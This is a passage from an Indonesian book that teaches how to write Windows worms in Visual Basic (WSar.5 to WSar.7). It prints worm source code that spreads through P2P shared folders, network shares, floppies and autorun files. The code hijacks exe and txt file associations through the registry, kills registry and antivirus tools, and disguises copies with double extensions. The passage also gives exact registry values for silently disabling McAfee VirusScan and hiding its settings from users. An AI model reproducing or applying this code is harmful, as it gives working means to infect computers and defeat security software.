kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile dan value "LoadPowerProfile Rundll32.exe". Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat mengecoh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer. Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents. Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill. Bab 11. Worm WSar.5 Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG". Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda". Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.
Jasakom
162
Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini: 1. crack deepfreeze 2009.exe 2. freeware transtool 2009.exe 3. full softice 2009.exe Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan penggabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file. Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal. Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian. Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak. Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.
163
Jasakom
Module WinForce memanfaatkan function API PostMessage, EnumWindows, GetWindowText, EnableWindow, GetParent dan IsWindowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari caption yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.
164
orm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file dengan ekstensi tertentu. Bab 12. Worm WSar.6 Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files). Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 menutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut. Metode ini menjadi sangat berguna apabila worm ingin menutup aplikasi yang tidak memperlihatkan suatu jendela aplikasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja. Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.
165
Jasakom
12.1 ALGORITMA
WSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan dirinya dari task list 3. Kemudian Worm memanipulasi registry dengan tujuan pemanfaatan metode Shell Spawning 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe 6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network 7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila aplikasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut 8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis melakukan proses shut down.
12.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.6 Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Jasakom
166
Nilai
frmWSar6 (Icon) False False None False
Keterangan
Mengatur nama form menjadi frmWSar6 Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box
Nilai
tmrWinExit True 500
Keterangan
Mengatur nama Timer menjadi tmrWinExit Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Nilai
tmrSpreading True 1000
Keterangan
Mengatur nama Timer menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
167
Jasakom
Nilai
tmrIseng
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik Tag ini akan digunakan pada procedure tmrIseng
Nilai
tmrIsengLauncher True 1000
Keterangan
Mengatur nama Timer menjadi tmrIsengLauncher Pastikan Timer akan aktif saat form diload Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
mdlWinExit
Keterangan
Mengatur nama module menjadi mdlWinExit
Nilai
mdlWinFind
Keterangan
Mengatur nama module menjadi mdlWinFind
Nilai
mdlRegistryAPI
Keterangan
Mengatur nama mdlRegistryAPI module menjadi
Jasakom
168
169
Jasakom
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10 Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function
Jasakom
170
171
Jasakom
If netdrv.Count <> 0 Then For i = 0 To netdrv.Count - 1 If InStr(netdrv.Item(i), "\") <> 0 Then FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm)) End If Next End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1 SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0 End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() End Sub
Jasakom
172
Private Sub tmrIsengLauncher_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then If WinFind("*pad*", False) <> 0 Or WinFind("*word*", False) <> _ 0 Then tmrIseng.Enabled = True End If End If End Sub Private Sub tmrSpreading_Timer() On Error Resume Next If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then Call PerToPer() End If If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Call InfectNet() End If If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If End Sub Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe") End Sub Private Sub PerToPer() On Error Resume Next Dim wormname As String Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of " Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"
173
Jasakom
Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi" Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize() wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7)) Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If Next End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman." NamaCantik(3) = "test-IQ."
Jasakom
174
NamaCantik(4) = "tom n jerry." NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End If End Sub Private Sub PayLoad() On Error Resume Next MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows") End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: Bab 12. Worm WSar.6 Pada procedure Form_Load, worm mengatur agar saat load, worm secara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut:
worm [filename]
Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini:
loadsys c:\windows\notepad.exe
Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.
175
Jasakom
Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\ shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe". Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggunakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents. Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetikkan tombol huruf tertentu pada keyboard, dan akhirnya akan membentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...". Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad. Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer. Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy. Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit. Procedure PerToPer akan membuat salinan worm di setiap direktori default aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi. Bab 12. Worm WSar.6
Jasakom
176
Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda" dan langsung mematikan komputer. Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada registry yang bisa digunakan untuk metode Shell Spawning:
Ekstensi
EXE BAT HTA PIF COM GIF HTML HTT INF INI JPEG MID MP3 MPEG REG RTF SCR VBS WMA TXT
Lokasi Key
HKEY_CLASSES_ROOT\exefile\shell\open\command HKEY_CLASSES_ROOT\batfile\shell\open\command HKEY_CLASSES_ROOT\htafile\shell\open\command HKEY_CLASSES_ROOT\piffile\shell\open\command HKEY_CLASSES_ROOT\comfile\shell\open\command HKEY_CLASSES_ROOT\giffile\shell\Open\command HKEY_CLASSES_ROOT\htmlfile\shell\open\command HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command HKEY_CLASSES_ROOT\inffile\shell\open\command HKEY_CLASSES_ROOT\inifile\shell\open\command HKEY_CLASSES_ROOT\jpegfile\shell\Open\command HKEY_CLASSES_ROOT\MIDFile\shell\open\command HKEY_CLASSES_ROOT\mp3file\shell\open\command HKEY_CLASSES_ROOT\mpegfile\shell\open\command HKEY_CLASSES_ROOT\regfile\shell\open\command HKEY_CLASSES_ROOT\rtffile\shell\open\command HKEY_CLASSES_ROOT\scrfile\shell\open\command HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command HKEY_CLASSES_ROOT\wmafile\shell\open\command HKEY_CLASSES_ROOT\txtfile\shell\open\command
Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\ CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:
177
Jasakom
Ekstensi
EXE TXT
Lokasi Key
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\ shell\open\command HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\ shell\open\command
Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut. Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus If App.PrevInstance = True Then End InfectSystem() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1") End Sub
Jasakom
178
orm dasar 7 mendemonstrasikan suatu contoh internet worm lainnya, dengan pengiriman e-mail ber-attachment dan memanfaatkan aplikasi mIRC sebagai metode penyebaran. Bab 13. Worm WSar.7
WSar.7 menggunakan icon ekstensi txt dan akan membuka aplikasi Notepad apabila user mengeksekusinya. Metode ini juga digunakan oleh worm Pesin walaupun worm Pesin menggunakan metode yang sedikit berbeda. WSar.7 tergantung pada path file utama sedangkan Pesin tergantung pada parameter tambahan dalam pengeksekusiannya. Penulis juga mendemonstrasikan bagaimana suatu worm mampu 'menjinakan suatu antivirus tanpa harus menghapus file antivirus ataupun mengakhiri proses antivirus tersebut. Penulis memilih McAfee VirusScan versi 8 atau 9 sebagai bahan percobaan karena antivirus versi ini memiliki fasilitas ScriptStopper yang secara 'membabi buta akan menghentikan proses Scripting dan menampilkan kotak dialog konfirmasi, walaupun sebenarnya proses scripting tersebut bukan berasal dari suatu worm atau virus .
179
Jasakom
Dalam hal ini McAfee VirusScan menyimpan konfigurasinya pada key: Bab 13. Worm WSar.7
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com
Jasakom
180
Agent\Update\Download\McUpdMgrLog Agent\Update\ResultLog RegWiz RegWiz\Installer SharedModules SharedModules\c:%progra~1%mcafee.com%shared%dunzip32.dll SharedModules\c:%progra~1%mcafee.com%shared%mcappins.exe SharedModules\c:%progra~1%mcafee.com%shared%mcappins.inf SharedModules\c:%progra~1%mcafee.com%shared%mghtml.exe SharedModules\c:%progra~1%mcafee.com%shared%mghtml.inf Virusscan Online Virusscan Online\AVERT Virusscan Online\Customize Virusscan Online\Customize\ActiveShield Virusscan Online\Customize\Alerts Virusscan Online\Customize\Alerts\WormStopper Virusscan Online\Customize\Menu Virusscan Online\Customize\Menu\1029 Virusscan Online\Customize\Menu\1030 Virusscan Online\Customize\Menu\1031 Virusscan Online\Customize\Menu\1033 Virusscan Online\Customize\Menu\1279 Virusscan Online\Customize\Menu\2057 Virusscan Online\Customize\Menu\257 Virusscan Online\Customize\Menu\258 Virusscan Online\Customize\Menu\260 Virusscan Online\Customize\Menu\264 Virusscan Online\Customize\Menu\266 Virusscan Online\Customize\Menu\515 Virusscan Online\Customize\ods Virusscan Online\Customize\Options Virusscan Online\Customize\Options\AdvAShield Virusscan Online\Customize\Options\AdvEmailScan Virusscan Online\Customize\Options\AdvFTScan Virusscan Online\Customize\Options\AdvScriptStopper Virusscan Online\Customize\Options\AdvWormStopper Virusscan Online\Customize\Options\AShield Virusscan Online\Customize\Options\Schedular Virusscan Online\Customize\Options\VMap Virusscan Online\Customize\ShortCuts Virusscan Online\Customize\ShortCuts\aruninstall Virusscan Online\Customize\ShortCuts\dsscannow Virusscan Online\Customize\ShortCuts\psashield Virusscan Online\Customize\ShortCuts\psedisk Virusscan Online\Customize\ShortCuts\psquarantine Virusscan Online\Customize\ShortCuts\psscannow Virusscan Online\Customize\ShortCuts\psuninstall Virusscan Online\Customize\ShortCuts\psvso Virusscan Online\Customize\Uninstall Virusscan Online\Customize\VirusInfo Virusscan Online\Installer Virusscan Online\Links Virusscan Online\property Virusscan Online\property\notify Virusscan Online\RescueDisk
181
Jasakom
Kemudian menyimpan hasil ekspor registry tersebut dengan nama ENABLE. REG 2. Langkah berikutnya adalah membuka panel konfigurasi, dengan mengklik kanan icon McAfee VirusScan pada system tray, menyorot VirusScan dan memilih Options
3. Akan tampil kotak dialog konfigurasi Options, terdiri dari tiga tab, termasuk tab ActiveShield yang menjadi tab utama dimana tab ini memiliki beberapa opsi yang semuanya dalam keadaan terseleksi, yaitu: a. Start ActiveShield when Windows starts: jika opsi ini terseleksi berarti ActiveShield akan aktif saat Windows startup, dimana ActiveShield bekerja secara background yang akan melindungi system dari malcode (program perusak/jahat) saat run-time. b. Scan e-mail and attachments: jika opsi ini terseleksi maka Ac-
Jasakom
182
tiveShield akan memeriksa e-mail dan attachment yang masuk (POP3), dan yang keluar (SMTP) untuk beberapa aplikasi e-mail yang terbilang populer, seperti Outlook Express, MS Outlook, Netscape Messenger, Netscape Mail, Eudora Light, Eudora Pro, Pegasus dan lain sebagainya. c. Scan inbound instant message attachments: jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan saat suatu e-mail ber-attachment secara instant dibuka oleh suatu aplikasi seperti MSN Messenger, Yahoo Messenger dan AOL Instant Messenger. Bersihkan seleksi dengan menghilangkan tanda check pada CheckBox untuk opsi Start ActiveShield when Windows starts, dan opsi Scan inbound instant message attachments. 4. Klik tombol Advanced pada tab ActiveShield untuk pengaturan konfigurasi yang lebih mendetail, dan sebuah kotak dialog baru terbuka dengan langsung menuju pada tab ActiveShield, kemudian bersihkan seleksi untuk setiap opsi yang ada. a. Scan for new unknown viruses: jika opsi ini terpilih maka ActiveShield menggunakan teknik heuristic, dimana antivirus mendeteksi worm atau virus baru dengan mencocokan suatu pola yang biasanya digunakan worm atau virus. b. Pada frame File Types to Scan, jika opsi All files terseleksi maka ActiveShield akan memeriksa seluruh jenis file, tetapi jika opsi yang aktif adalah Program files and documents only maka ActiveShield hanya akan memeriksa file program dan file dokumen saja. Bab 13. Worm WSar.7
183
Jasakom
5. Klik tab E-mail Scan. Tab ini memberikan opsi yang berkaitan dengan proses pengiriman dan penerimaan e-mail. Bersihkan seleksi untuk setiap opsi yang ada. a. Inbound e-mail messages. Jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan apabila suatu e-mail diterima. Opsi ini memiliki sub lainnya yaitu; Automatically clean infected attachments yang berarti secara otomatis membersihkan attachment yang terinfeksi, dan Prompt me when attachment needs to be cleaned yang memiliki arti agar mengkonfirmasikan terlebih dahulu dengan pengguna apabila suatu attachment perlu untuk dibersihkan dari suatu malcode. b. Outbound e-mail messages, jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan untuk setiap e-mail yang akan dikirimkan. 6. Klik tab ScriptStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas ScriptStopper, yang berguna untuk menampilkan konfirmasi pengeksekusian untuk setiap script atau program yang memanfaatkan penggunaan script. Kemudian bersihkan seleksi untuk setiap opsi yang ada.
184
7. Klik tab WormStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas WormStopper, yang berguna untuk menampilkan pesan peringatan jika menemukan suatu program yang memiliki pola persis dengan suatu worm, yang cenderung mengirimkan e-mail secara masal. Bersihkan seleksi untuk setiap opsi yang ada.
9. Kembali pada aplikasi Registry Editor, kemudian ekspor dan simpan kembali nilai registry yang dimiliki aplikasi antivirus tersebut, dengan memberi nama file yang berbeda, misalnya DISABLE.REG. 10. Kemudian buka file ENABLE.REG dan DISABLE.REG dengan menggunakan aplikasi text editor, lalu bandingkan dan kumpulkan nilai registry yang berubah. Penulis menyarankan agar Anda menggunakan aplikasi yang memiliki fasilitas compare seperti UltraEdit. Dari perbandingan dua file tersebut, didapatkan beberapa perubahan nilai registry sebagai berikut:
185
Jasakom
8. Kini setiap opsi yang ada pada kotak dialog Advanced ActiveShield Options tidak terseleksi, klik OK untuk mengakhiri dan langsung menuju kotak dialog Options. Bersihkan seleksi pada opsi Scan e-mail and attachments, dan akhiri kotak dialog Options dengan mengklik OK.
Data DISABLE.REG
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Data DISABLE.REG
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Jasakom
186
Type 04 E0 DA 05
REG_BINARY
04 E0 DA 05
04 E0 DA 05
11. Dari perubahan-perubahan tersebut dapat disimpulkan bahwa data binary yang digunakan untuk menonaktifkan fasilitas-fasilitas tersebut adalah: 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04. Sehingga untuk menonaktifkannya cukup memanipulasi registry dengan menggunakan data-data tersebut.
187
Jasakom
12. Seorang worm writer tentunya akan berfikir agar segala manipulasi yang dilakukannya tidak diketahui oleh user, atau sedikitnya akan menyulitkan advanced user untuk mengembalikan manipulasi tersebut, demikian pula dengan manipulasi konfigurasi antivirus ini, setiap user dengan mudah mengaktifkan segala fasilitas pada antivirus hanya dengan membuka kotak dialog Options dan Advanced Option untuk kemudian memberi seleksi untuk setiap opsi. Berikut ini adalah beberapa manipulasi registry yang penulis temukan untuk menyembunyikan tab pada kotak dialog Options dan Advanced Options, sehingga akan sangat membingungkan bahkan untuk seorang advanced user sekalipun, dalam menemukan opsi-opsi tersebut.
Advanced ActiveShield Options ActiveShield HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\AdvAShield State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box Advanced ActiveShield Options Tab Key Value Type Data
E-mail Scan HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvEmailScan State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Jasakom
188
189
Jasakom
Dialog Box
Options
